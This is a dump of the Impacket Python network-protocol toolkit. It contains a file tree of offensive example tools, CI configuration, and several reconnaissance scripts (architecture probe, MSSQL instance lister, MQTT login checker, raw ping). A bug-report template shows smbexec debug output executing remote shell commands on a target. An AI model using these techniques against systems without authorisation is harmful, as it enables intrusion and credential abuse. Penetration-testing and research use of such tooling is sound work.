├── .github ├── ISSUE_TEMPLATE │ └── bug_report.md ├── labeler.yml └── workflows │ ├── build_and_test.yml │ └── labeler.yml ├── .gitignore ├── ChangeLog.md ├── Dockerfile ├── LICENSE ├── MANIFEST.in ├── README.md ├── SECURITY.md ├── TESTING.md ├── examples ├── DumpNTLMInfo.py ├── Get-GPPPassword.py ├── GetADComputers.py ├── GetADUsers.py ├── GetLAPSPassword.py ├── GetNPUsers.py ├── GetUserSPNs.py ├── addcomputer.py ├── atexec.py ├── changepasswd.py ├── dacledit.py ├── dcomexec.py ├── describeTicket.py ├── dpapi.py ├── esentutl.py ├── exchanger.py ├── findDelegation.py ├── getArch.py ├── getPac.py ├── getST.py ├── getTGT.py ├── goldenPac.py ├── karmaSMB.py ├── keylistattack.py ├── kintercept.py ├── lookupsid.py ├── machine_role.py ├── mimikatz.py ├── mqtt_check.py ├── mssqlclient.py ├── mssqlinstance.py ├── net.py ├── netview.py ├── ntfs-read.py ├── ntlmrelayx.py ├── owneredit.py ├── ping.py ├── ping6.py ├── psexec.py ├── raiseChild.py ├── rbcd.py ├── rdp_check.py ├── reg.py ├── registry-read.py ├── regsecrets.py ├── rpcdump.py ├── rpcmap.py ├── sambaPipe.py ├── samrdump.py ├── secretsdump.py ├── services.py ├── smbclient.py ├── smbexec.py ├── smbserver.py ├── sniff.py ├── sniffer.py ├── split.py ├── ticketConverter.py ├── ticketer.py ├── tstool.py ├── wmiexec.py ├── wmipersist.py └── wmiquery.py ├── impacket ├── Dot11Crypto.py ├── Dot11KeyManager.py ├── ICMP6.py ├── IP6.py ├── IP6_Address.py ├── IP6_Extension_Headers.py ├── ImpactDecoder.py ├── ImpactPacket.py ├── NDP.py ├── __init__.py ├── cdp.py ├── crypto.py ├── dcerpc │ ├── __init__.py │ └── v5 │ │ ├── __init__.py │ │ ├── atsvc.py │ │ ├── bkrp.py │ │ ├── dcom │ │ ├── __init__.py │ │ ├── comev.py │ │ ├── oaut.py │ │ ├── scmp.py │ │ ├── vds.py │ │ └── wmi.py │ │ ├── dcomrt.py │ │ ├── dhcpm.py │ │ ├── drsuapi.py │ │ ├── dssp.py │ │ ├── dtypes.py │ │ ├── enum.py │ │ ├── epm.py │ │ ├── even.py │ │ ├── even6.py │ │ ├── gkdi.py │ │ ├── iphlp.py │ │ ├── lsad.py │ │ ├── lsat.py │ │ ├── mgmt.py │ │ ├── mimilib.py │ │ ├── ndr.py │ │ ├── nrpc.py │ │ ├── nspi.py │ │ ├── oxabref.py │ │ ├── par.py │ │ ├── rpch.py │ │ ├── rpcrt.py │ │ ├── rprn.py │ │ ├── rrp.py │ │ ├── samr.py │ │ ├── sasec.py │ │ ├── scmr.py │ │ ├── srvs.py │ │ ├── transport.py │ │ ├── tsch.py │ │ ├── tsts.py │ │ └── wkst.py ├── dhcp.py ├── dns.py ├── dot11.py ├── dpapi.py ├── dpapi_ng.py ├── eap.py ├── ese.py ├── examples │ ├── __init__.py │ ├── ldap_shell.py │ ├── logger.py │ ├── mssqlshell.py │ ├── ntlmrelayx │ │ ├── __init__.py │ │ ├── attacks │ │ │ ├── __init__.py │ │ │ ├── dcsyncattack.py │ │ │ ├── httpattack.py │ │ │ ├── httpattacks │ │ │ │ ├── __init__.py │ │ │ │ ├── adcsattack.py │ │ │ │ ├── sccmdpattack.py │ │ │ │ └── sccmpoliciesattack.py │ │ │ ├── imapattack.py │ │ │ ├── ldapattack.py │ │ │ ├── mssqlattack.py │ │ │ ├── rpcattack.py │ │ │ └── smbattack.py │ │ ├── clients │ │ │ ├── __init__.py │ │ │ ├── dcsyncclient.py │ │ │ ├── httprelayclient.py │ │ │ ├── imaprelayclient.py │ │ │ ├── ldaprelayclient.py │ │ │ ├── mssqlrelayclient.py │ │ │ ├── rpcrelayclient.py │ │ │ ├── smbrelayclient.py │ │ │ └── smtprelayclient.py │ │ ├── servers │ │ │ ├── __init__.py │ │ │ ├── httprelayserver.py │ │ │ ├── rawrelayserver.py │ │ │ ├── smbrelayserver.py │ │ │ ├── socksplugins │ │ │ │ ├── __init__.py │ │ │ │ ├── http.py │ │ │ │ ├── https.py │ │ │ │ ├── imap.py │ │ │ │ ├── imaps.py │ │ │ │ ├── ldap.py │ │ │ │ ├── ldaps.py │ │ │ │ ├── mssql.py │ │ │ │ ├── smb.py │ │ │ │ └── smtp.py │ │ │ ├── socksserver.py │ │ │ └── wcfrelayserver.py │ │ └── utils │ │ │ ├── __init__.py │ │ │ ├── config.py │ │ │ ├── enum.py │ │ │ ├── shadow_credentials.py │ │ │ ├── ssl.py │ │ │ ├── targetsutils.py │ │ │ └── tcpshell.py │ ├── os_ident.py │ ├── regsecrets.py │ ├── remcomsvc.py │ ├── rpcdatabase.py │ ├── secretsdump.py │ ├── serviceinstall.py │ ├── smbclient.py │ └── utils.py ├── helper.py ├── hresult_errors.py ├── http.py ├── krb5 │ ├── __init__.py │ ├── asn1.py │ ├── ccache.py │ ├── constants.py │ ├── crypto.py │ ├── gssapi.py │ ├── kerberosv5.py │ ├── keytab.py │ ├── kpasswd.py │ ├── pac.py │ └── types.py ├── ldap │ ├── __init__.py │ ├── ldap.py │ ├── ldapasn1.py │ └── ldaptypes.py ├── mapi_constants.py ├── mqtt.py ├── msada_guids.py ├── nmb.py ├── nt_errors.py ├── ntlm.py ├── pcap_linktypes.py ├── pcapfile.py ├── smb.py ├── smb3.py ├── smb3structs.py ├── smbconnection.py ├── smbserver.py ├── spnego.py ├── structure.py ├── system_errors.py ├── tds.py ├── uuid.py ├── version.py ├── winregistry.py └── wps.py ├── requirements-test.txt ├── requirements.txt ├── setup.py ├── tests ├── ImpactPacket │ ├── __init__.py │ ├── test_ICMP6.py │ ├── test_IP6.py │ ├── test_IP6_Address.py │ ├── test_IP6_Extension_Headers.py │ ├── test_TCP.py │ ├── test_TCP_bug_issue7.py │ └── test_ethernet.py ├── SMB_RPC │ ├── __init__.py │ ├── test_ldap.py │ ├── test_ndr.py │ ├── test_nmb.py │ ├── test_ntlm.py │ ├── test_rpch.py │ ├── test_rpcrt.py │ ├── test_secretsdump.py │ ├── test_smb.py │ ├── test_smbserver.py │ ├── test_spnego.py │ └── test_wmi.py ├── __init__.py ├── conftest.py ├── data │ ├── ccache-v1 │ ├── ccache-v2 │ ├── ccache-v3 │ ├── ccache-v3-kirbi │ ├── ccache-v4 │ └── ccache-v4-kirbi ├── dcerpc │ ├── __init__.py │ ├── test_bkrp.py │ ├── test_dcomrt.py │ ├── test_dhcpm.py │ ├── test_drsuapi.py │ ├── test_epm.py │ ├── test_even.py │ ├── test_even6.py │ ├── test_fasp.py │ ├── test_lsad.py │ ├── test_lsat.py │ ├── test_mgmt.py │ ├── test_mimilib.py │ ├── test_nrpc.py │ ├── test_par.py │ ├── test_rprn.py │ ├── test_rrp.py │ ├── test_samr.py │ ├── test_scmr.py │ ├── test_srvs.py │ ├── test_tsch.py │ └── test_wkst.py ├── dcetests.cfg.template ├── dot11 │ ├── __init__.py │ ├── test_Dot11Base.py │ ├── test_Dot11Decoder.py │ ├── test_Dot11HierarchicalUpdate.py │ ├── test_FrameControlACK.py │ ├── test_FrameControlCFEnd.py │ ├── test_FrameControlCFEndCFACK.py │ ├── test_FrameControlCTS.py │ ├── test_FrameControlPSPoll.py │ ├── test_FrameControlRTS.py │ ├── test_FrameData.py │ ├── test_FrameManagement.py │ ├── test_FrameManagementAssociationRequest.py │ ├── test_FrameManagementAssociationResponse.py │ ├── test_FrameManagementAuthentication.py │ ├── test_FrameManagementDeauthentication.py │ ├── test_FrameManagementDisassociation.py │ ├── test_FrameManagementProbeRequest.py │ ├── test_FrameManagementProbeResponse.py │ ├── test_FrameManagementReassociationRequest.py │ ├── test_FrameManagementReassociationResponse.py │ ├── test_RadioTap.py │ ├── test_RadioTapDecoder.py │ ├── test_WEPDecoder.py │ ├── test_WEPEncoder.py │ ├── test_WPA.py │ ├── test_WPA2.py │ ├── test_helper.py │ └── test_wps.py ├── misc │ ├── __init__.py │ ├── test_ccache.py │ ├── test_crypto.py │ ├── test_dcerpc_v5_ndr.py │ ├── test_dns.py │ ├── test_dpapi.py │ ├── test_ip6_address.py │ ├── test_krb5_crypto.py │ ├── test_structure.py │ └── test_utils.py └── walkmodules.py └── tox.ini /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | ### Configuration 11 | impacket version: 12 | Python version: 13 | Target OS: 14 | 15 | ### Debug Output With Command String 16 | i.e. 17 | smbexec -debug domain/user:password@127.0.0.1 18 | ``` 19 | smbexec -debug domain/user:password@127.0.0.1 20 | [+] StringBinding ncacn_np:127.0.0.1[\pipe\svcctl] 21 | [+] Executing %COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 22 | [!] Launching semi-interactive shell - Careful what you execute 23 | C:\Windows\system32>net group 24 | [+] Executing %COMSPEC% /Q /c echo net group ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 25 | Traceback (most recent call last): 26 | File "/usr/lib64/python3.7/cmd.py", line 214, in onecmd 27 | func = getattr(self, 'do_' + cmd) 28 | AttributeError: 'RemoteShell' object has no attribute 'do_net' 29 | ``` 30 | 31 | ### PCAP 32 | If applicable, add a packet capture to help explain your problem. 33 | 34 | ### Additional context 35 | Space for additional context, investigative results, suspected issue. 36 | -------------------------------------------------------------------------------- /.github/labeler.yml: -------------------------------------------------------------------------------- 1 | # Rules to label Pull Requests 2 | version: 1 3 | labels: 4 | - label: "Examples" 5 | files: 6 | - "examples/.*" 7 | - label: "Library" 8 | files: 9 | - "impacket/.*" 10 | - label: "CI/CD & Tests" 11 | files: 12 | - "tests/.*" 13 | - "tox.ini" 14 | - "Dockerfile" 15 | - ".github/.*" 16 | - label: "Setup" 17 | files: 18 | - "setup.py" 19 | - "requirements*.txt" 20 | - "MANIFEST.in" 21 | - label: "Docs" 22 | files: 23 | - "*.md" 24 | - "LICENSE" 25 | -------------------------------------------------------------------------------- /.github/workflows/build_and_test.yml: -------------------------------------------------------------------------------- 1 | # GitHub Action workflow to build and run Impacket's tests 2 | # 3 | 4 | name: Build and test Impacket 5 | 6 | on: [push, pull_request] 7 | 8 | env: 9 | DOCKER_TAG: impacket:latests 10 | 11 | jobs: 12 | lint: 13 | name: Check syntax errors and warnings 14 | runs-on: ubuntu-latest 15 | if: 16 | github.event_name == 'push' || github.event.pull_request.head.repo.full_name != 17 | github.repository 18 | 19 | steps: 20 | - name: Checkout Impacket 21 | uses: actions/checkout@v3 22 | 23 | - name: Setup Python 3.8 24 | uses: actions/setup-python@v4 25 | with: 26 | python-version: 3.8 27 | 28 | - name: Install Python dependencies 29 | run: | 30 | python -m pip install flake8 31 | 32 | - name: Check syntax errors 33 | run: | 34 | flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics 35 | 36 | - name: Check PEP8 warnings 37 | run: | 38 | flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics 39 | 40 | test: 41 | name: Run unit tests and build wheel 42 | needs: lint 43 | runs-on: ${{ matrix.os }} 44 | if: 45 | github.event_name == 'push' || github.event.pull_request.head.repo.full_name != 46 | github.repository 47 | 48 | strategy: 49 | fail-fast: false 50 | matrix: 51 | python-version: ["3.9", "3.10","3.11","3.12"] 52 | experimental: [false] 53 | os: [ubuntu-latest] 54 | include: 55 | - python-version: "3.13-dev" 56 | experimental: true 57 | os: ubuntu-latest 58 | continue-on-error: ${{ matrix.experimental }} 59 | 60 | steps: 61 | - name: Checkout Impacket 62 | uses: actions/checkout@v3 63 | 64 | - name: Setup Python ${{ matrix.python-version }} 65 | uses: actions/setup-python@v4 66 | with: 67 | python-version: ${{ matrix.python-version }} 68 | 69 | - name: Install Python dependencies 70 | run: | 71 | python -m pip install --upgrade pip wheel 72 | python -m pip install tox tox-gh-actions -r requirements.txt -r requirements-test.txt 73 | 74 | - name: Run unit tests 75 | run: | 76 | tox -- -m 'not remote' 77 | 78 | - name: Build wheel artifact 79 | run: | 80 | python setup.py bdist_wheel 81 | 82 | docker: 83 | name: Build docker image 84 | needs: lint 85 | runs-on: ubuntu-latest 86 | if: 87 | github.event_name == 'push' || github.event.pull_request.head.repo.full_name != 88 | github.repository 89 | 90 | continue-on-error: true 91 | steps: 92 | - name: Checkout Impacket 93 | uses: actions/checkout@v3 94 | 95 | - name: Build docker image 96 | run: | 97 | docker build -t ${{ env.DOCKER_TAG }} . 98 | -------------------------------------------------------------------------------- /.github/workflows/labeler.yml: -------------------------------------------------------------------------------- 1 | # GitHub Action workflow to label Pull Requests 2 | # 3 | 4 | name: Label PRs 5 | 6 | on: 7 | - pull_request 8 | 9 | jobs: 10 | build: 11 | runs-on: ubuntu-latest 12 | steps: 13 | - uses: srvaroa/labeler@master 14 | env: 15 | GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}" 16 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | venv/ 12 | .env/ 13 | .venv/ 14 | build/ 15 | develop-eggs/ 16 | dist/ 17 | downloads/ 18 | eggs/ 19 | .eggs/ 20 | lib/ 21 | lib64/ 22 | parts/ 23 | sdist/ 24 | var/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | 29 | Pipfile 30 | Pipfile.lock 31 | 32 | # PyInstaller 33 | # Usually these files are written by a python script from a template 34 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 35 | *.manifest 36 | *.spec 37 | 38 | # Installer logs 39 | pip-log.txt 40 | pip-delete-this-directory.txt 41 | 42 | # Unit test / coverage reports 43 | htmlcov/ 44 | .tox/ 45 | .coverage 46 | .coverage.* 47 | .cache 48 | nosetests.xml 49 | coverage.xml 50 | *,cover 51 | 52 | # bak files 53 | *.bak 54 | 55 | # Translations 56 | *.mo 57 | *.pot 58 | 59 | # Django stuff: 60 | *.log 61 | 62 | # Sphinx documentation 63 | docs/_build/ 64 | 65 | # PyBuilder 66 | target/ 67 | 68 | # macOS 69 | .DS_Store 70 | 71 | # PyCharm 72 | .idea 73 | 74 | # Test cases configuration 75 | tests/dcetests.cfg -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8-alpine as compile 2 | WORKDIR /opt 3 | RUN apk add --no-cache git gcc musl-dev python3-dev libffi-dev openssl-dev cargo 4 | RUN python3 -m pip install virtualenv 5 | RUN virtualenv -p python venv 6 | ENV PATH="/opt/venv/bin:$PATH" 7 | RUN git clone --depth 1 https://github.com/fortra/impacket.git 8 | RUN python3 -m pip install impacket/ 9 | 10 | FROM python:3.8-alpine 11 | COPY --from=compile /opt/venv /opt/venv 12 | ENV PATH="/opt/venv/bin:$PATH" 13 | ENTRYPOINT ["/bin/sh"] -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include MANIFEST.in 2 | include LICENSE 3 | include ChangeLog.md 4 | include README.md 5 | include SECURITY.md 6 | include TESTING.md 7 | 8 | include requirements.txt 9 | 10 | include tox.ini 11 | recursive-include examples tests *.txt *.py 12 | recursive-include tests * 13 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | Security Policy 2 | =============== 3 | 4 | Although this initiative is not meant to be used in productive environments, 5 | if you consider that you have identified an issue that might affect the 6 | security of its users, or you understand that the tool is being abused, 7 | you can contact us at https://www.coresecurity.com/about/contact. 8 | -------------------------------------------------------------------------------- /examples/esentutl.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | # Description: 13 | # ESE utility. Allows dumping catalog, pages and tables. 14 | # 15 | # Author: 16 | # Alberto Solino (@agsolino) 17 | # 18 | # Reference for: 19 | # Extensive Storage Engine (ese) 20 | # 21 | 22 | from __future__ import division 23 | from __future__ import print_function 24 | import sys 25 | import logging 26 | import argparse 27 | 28 | from impacket.examples import logger 29 | from impacket import version 30 | from impacket.ese import ESENT_DB 31 | 32 | 33 | def dumpPage(ese, pageNum): 34 | data = ese.getPage(pageNum) 35 | data.dump() 36 | 37 | def exportTable(ese, tableName): 38 | cursor = ese.openTable(tableName) 39 | if cursor is None: 40 | logging.error('Can"t get a cursor for table: %s' % tableName) 41 | return 42 | 43 | i = 1 44 | print("Table: %s" % tableName) 45 | while True: 46 | try: 47 | record = ese.getNextRow(cursor) 48 | except Exception: 49 | logging.debug('Exception:', exc_info=True) 50 | logging.error('Error while calling getNextRow(), trying the next one') 51 | continue 52 | 53 | if record is None: 54 | break 55 | print("*** %d" % i) 56 | for j in list(record.keys()): 57 | if record[j] is not None: 58 | print("%-30s: %r" % (j, record[j])) 59 | i += 1 60 | 61 | def main(): 62 | print(version.BANNER) 63 | 64 | parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping " 65 | "catalog, pages and tables.") 66 | parser.add_argument('databaseFile', action='store', help='ESE to open') 67 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 68 | parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') 69 | parser.add_argument('-page', action='store', help='page to open') 70 | 71 | subparsers = parser.add_subparsers(help='actions', dest='action') 72 | 73 | # dump page 74 | dump_parser = subparsers.add_parser('dump', help='dumps an specific page') 75 | dump_parser.add_argument('-page', action='store', required=True, help='page to dump') 76 | 77 | # info page 78 | subparsers.add_parser('info', help='dumps the catalog info for the DB') 79 | 80 | # export page 81 | export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB') 82 | export_parser.add_argument('-table', action='store', required=True, help='table to dump') 83 | 84 | if len(sys.argv)==1: 85 | parser.print_help() 86 | sys.exit(1) 87 | 88 | options = parser.parse_args() 89 | # Init the example's logger theme 90 | logger.init(options.ts, options.debug) 91 | 92 | ese = ESENT_DB(options.databaseFile) 93 | 94 | try: 95 | if options.action.upper() == 'INFO': 96 | ese.printCatalog() 97 | elif options.action.upper() == 'DUMP': 98 | dumpPage(ese, int(options.page)) 99 | elif options.action.upper() == 'EXPORT': 100 | exportTable(ese, options.table) 101 | else: 102 | raise Exception('Unknown action %s ' % options.action) 103 | except Exception as e: 104 | if logging.getLogger().level == logging.DEBUG: 105 | import traceback 106 | traceback.print_exc() 107 | print(e) 108 | ese.close() 109 | 110 | 111 | if __name__ == '__main__': 112 | main() 113 | sys.exit(1) 114 | -------------------------------------------------------------------------------- /examples/getArch.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | # Description: 13 | # This script will connect against a target (or list of targets) machine/s and gather the OS architecture type 14 | # installed. 15 | # The trick has been discovered many years ago and is actually documented by Microsoft here: 16 | # https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53 17 | # and doesn't require any authentication at all. 18 | # 19 | # Have in mind this trick will *not* work if the target system is running Samba. Don't know what happens with macOS. 20 | # 21 | # Author: 22 | # beto (@agsolino) 23 | # 24 | # Reference for: 25 | # RPCRT, NDR 26 | # 27 | 28 | from __future__ import division 29 | from __future__ import print_function 30 | import argparse 31 | import logging 32 | import sys 33 | 34 | from impacket import version 35 | from impacket.examples import logger 36 | from impacket.dcerpc.v5.rpcrt import DCERPCException 37 | from impacket.dcerpc.v5.transport import DCERPCTransportFactory 38 | from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP 39 | 40 | 41 | class TARGETARCH: 42 | def __init__(self, options): 43 | self.__machinesList = list() 44 | self.__options = options 45 | self.NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') 46 | 47 | def run(self): 48 | if self.__options.targets is not None: 49 | for line in self.__options.targets.readlines(): 50 | self.__machinesList.append(line.strip(' \r\n')) 51 | else: 52 | self.__machinesList.append(self.__options.target) 53 | 54 | logging.info('Gathering OS architecture for %d machines' % len(self.__machinesList)) 55 | logging.info('Socket connect timeout set to %s secs' % self.__options.timeout) 56 | 57 | for machine in self.__machinesList: 58 | try: 59 | stringBinding = r'ncacn_ip_tcp:%s[135]' % machine 60 | transport = DCERPCTransportFactory(stringBinding) 61 | transport.set_connect_timeout(int(self.__options.timeout)) 62 | dce = transport.get_dce_rpc() 63 | dce.connect() 64 | try: 65 | dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=self.NDR64Syntax) 66 | except DCERPCException as e: 67 | if str(e).find('syntaxes_not_supported') >= 0: 68 | print('%s is 32-bit' % machine) 69 | else: 70 | logging.error(str(e)) 71 | pass 72 | else: 73 | print('%s is 64-bit' % machine) 74 | 75 | dce.disconnect() 76 | except Exception as e: 77 | #import traceback 78 | #traceback.print_exc() 79 | logging.error('%s: %s' % (machine, str(e))) 80 | 81 | # Process command-line arguments. 82 | if __name__ == '__main__': 83 | print(version.BANNER) 84 | 85 | parser = argparse.ArgumentParser(add_help = True, description = "Gets the target system's OS architecture version") 86 | parser.add_argument('-target', action='store', help='') 87 | parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query Arch ' 88 | 'from (one per line). ') 89 | parser.add_argument('-timeout', action='store', default='2', help='socket timeout out when connecting to the target (default 2 sec)') 90 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 91 | parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') 92 | 93 | if len(sys.argv)==1: 94 | parser.print_help() 95 | sys.exit(1) 96 | 97 | options = parser.parse_args() 98 | # Init the example's logger theme 99 | logger.init(options.ts, options.debug) 100 | 101 | if options.target is None and options.targets is None: 102 | logging.error('You have to specify a target!') 103 | sys.exit(1) 104 | 105 | try: 106 | getArch = TARGETARCH(options) 107 | getArch.run() 108 | except (Exception, KeyboardInterrupt) as e: 109 | if logging.getLogger().level == logging.DEBUG: 110 | import traceback 111 | traceback.print_exc() 112 | logging.error(str(e)) 113 | sys.exit(0) 114 | -------------------------------------------------------------------------------- /examples/mqtt_check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | # Description: 13 | # Simple MQTT example aimed at playing with different login options. Can be converted into a account/password 14 | # brute forcer quite easily. 15 | # 16 | # Author: 17 | # Alberto Solino (@agsolino) 18 | # 19 | # Reference for: 20 | # MQTT and Structure 21 | # 22 | 23 | from __future__ import print_function 24 | 25 | import argparse 26 | import logging 27 | import sys 28 | 29 | from impacket import version 30 | from impacket.examples import logger 31 | from impacket.examples.utils import parse_target 32 | from impacket.mqtt import CONNECT_ACK_ERROR_MSGS, MQTTConnection 33 | 34 | class MQTT_LOGIN: 35 | def __init__(self, username, password, target, options): 36 | self._options = options 37 | self._username = username 38 | self._password = password 39 | self._target = target 40 | 41 | if self._username == '': 42 | self._username = None 43 | 44 | def run(self): 45 | mqtt = MQTTConnection(self._target, int(self._options.port), self._options.ssl) 46 | 47 | if self._options.client_id is None: 48 | clientId = ' ' 49 | else: 50 | clientId = self._options.client_id 51 | 52 | mqtt.connect(clientId, self._username, self._password) 53 | 54 | logging.info(CONNECT_ACK_ERROR_MSGS[0]) 55 | 56 | if __name__ == '__main__': 57 | print(version.BANNER) 58 | parser = argparse.ArgumentParser(add_help=False, 59 | description="MQTT login check") 60 | parser.add_argument("--help", action="help", help='show this help message and exit') 61 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 62 | parser.add_argument('-client-id', action='store', help='Client ID used when authenticating (default random)') 63 | parser.add_argument('-ssl', action='store_true', help='turn SSL on') 64 | parser.add_argument('-port', action='store', default='1883', help='port to connect to (default 1883)') 65 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 66 | parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') 67 | 68 | try: 69 | options = parser.parse_args() 70 | except Exception as e: 71 | logging.error(str(e)) 72 | sys.exit(1) 73 | 74 | # Init the example's logger theme 75 | logger.init(options.ts, options.debug) 76 | 77 | domain, username, password, address = parse_target(options.target) 78 | 79 | check_mqtt = MQTT_LOGIN(username, password, address, options) 80 | try: 81 | check_mqtt.run() 82 | except Exception as e: 83 | if logging.getLogger().level == logging.DEBUG: 84 | import traceback 85 | traceback.print_exc() 86 | logging.error(e) 87 | -------------------------------------------------------------------------------- /examples/mssqlinstance.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | # Description: 13 | # [MC-SQLR] example. Retrieves the instances names from the target host 14 | # 15 | # Author: 16 | # Alberto Solino (@agsolino) 17 | # 18 | # Reference for: 19 | # Structure 20 | # 21 | 22 | from __future__ import division 23 | from __future__ import print_function 24 | import argparse 25 | import sys 26 | import logging 27 | 28 | from impacket.examples import logger 29 | from impacket import version, tds 30 | 31 | if __name__ == '__main__': 32 | 33 | print(version.BANNER) 34 | 35 | parser = argparse.ArgumentParser(add_help = True, description = "Asks the remote host for its running MSSQL Instances.") 36 | 37 | parser.add_argument('host', action='store', help='target host') 38 | parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer') 39 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 40 | parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') 41 | 42 | if len(sys.argv)==1: 43 | parser.print_help() 44 | sys.exit(1) 45 | 46 | options = parser.parse_args() 47 | # Init the example's logger theme 48 | logger.init(options.ts, options.debug) 49 | 50 | ms_sql = tds.MSSQL(options.host) 51 | instances = ms_sql.getInstances(int(options.timeout)) 52 | if len(instances) == 0: 53 | print("No MSSQL Instances found") 54 | else: 55 | for i, instance in enumerate(instances): 56 | logging.info("Instance %d" % i) 57 | for key in list(instance.keys()): 58 | print(key + ":" + instance[key]) 59 | -------------------------------------------------------------------------------- /examples/ping.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | # Description: 13 | # Simple ICMP ping. 14 | # 15 | # This implementation of ping uses the ICMP echo and echo-reply packets 16 | # to check the status of a host. If the remote host is up, it should reply 17 | # to the echo probe with an echo-reply packet. 18 | # Note that this isn't a definite test, as in the case the remote host is up 19 | # but refuses to reply the probes. 20 | # Also note that the user must have special access to be able to open a raw 21 | # socket, which this program requires. 22 | # 23 | # Authors: 24 | # Gerardo Richarte (@gerasdf) 25 | # Javier Kohen 26 | # 27 | # Reference for: 28 | # ImpactPacket: IP, ICMP, DATA 29 | # ImpactDecoder 30 | # 31 | 32 | import select 33 | import socket 34 | import time 35 | import sys 36 | 37 | from impacket import ImpactDecoder, ImpactPacket 38 | 39 | if len(sys.argv) < 3: 40 | print("Use: %s " % sys.argv[0]) 41 | sys.exit(1) 42 | 43 | src = sys.argv[1] 44 | dst = sys.argv[2] 45 | 46 | # Create a new IP packet and set its source and destination addresses. 47 | 48 | ip = ImpactPacket.IP() 49 | ip.set_ip_src(src) 50 | ip.set_ip_dst(dst) 51 | 52 | # Create a new ICMP packet of type ECHO. 53 | 54 | icmp = ImpactPacket.ICMP() 55 | icmp.set_icmp_type(icmp.ICMP_ECHO) 56 | 57 | # Include a 156-character long payload inside the ICMP packet. 58 | icmp.contains(ImpactPacket.Data(b"A"*156)) 59 | 60 | # Have the IP packet contain the ICMP packet (along with its payload). 61 | ip.contains(icmp) 62 | 63 | # Open a raw socket. Special permissions are usually required. 64 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) 65 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 66 | 67 | seq_id = 0 68 | while 1: 69 | # Give the ICMP packet the next ID in the sequence. 70 | seq_id += 1 71 | icmp.set_icmp_id(seq_id) 72 | 73 | # Calculate its checksum. 74 | icmp.set_icmp_cksum(0) 75 | icmp.auto_checksum = 1 76 | 77 | # Send it to the target host. 78 | s.sendto(ip.get_packet(), (dst, 0)) 79 | 80 | # Wait for incoming replies. 81 | if s in select.select([s], [], [], 1)[0]: 82 | reply = s.recvfrom(2000)[0] 83 | 84 | # Use ImpactDecoder to reconstruct the packet hierarchy. 85 | rip = ImpactDecoder.IPDecoder().decode(reply) 86 | # Extract the ICMP packet from its container (the IP packet). 87 | ricmp = rip.child() 88 | 89 | # If the packet matches, report it to the user. 90 | if 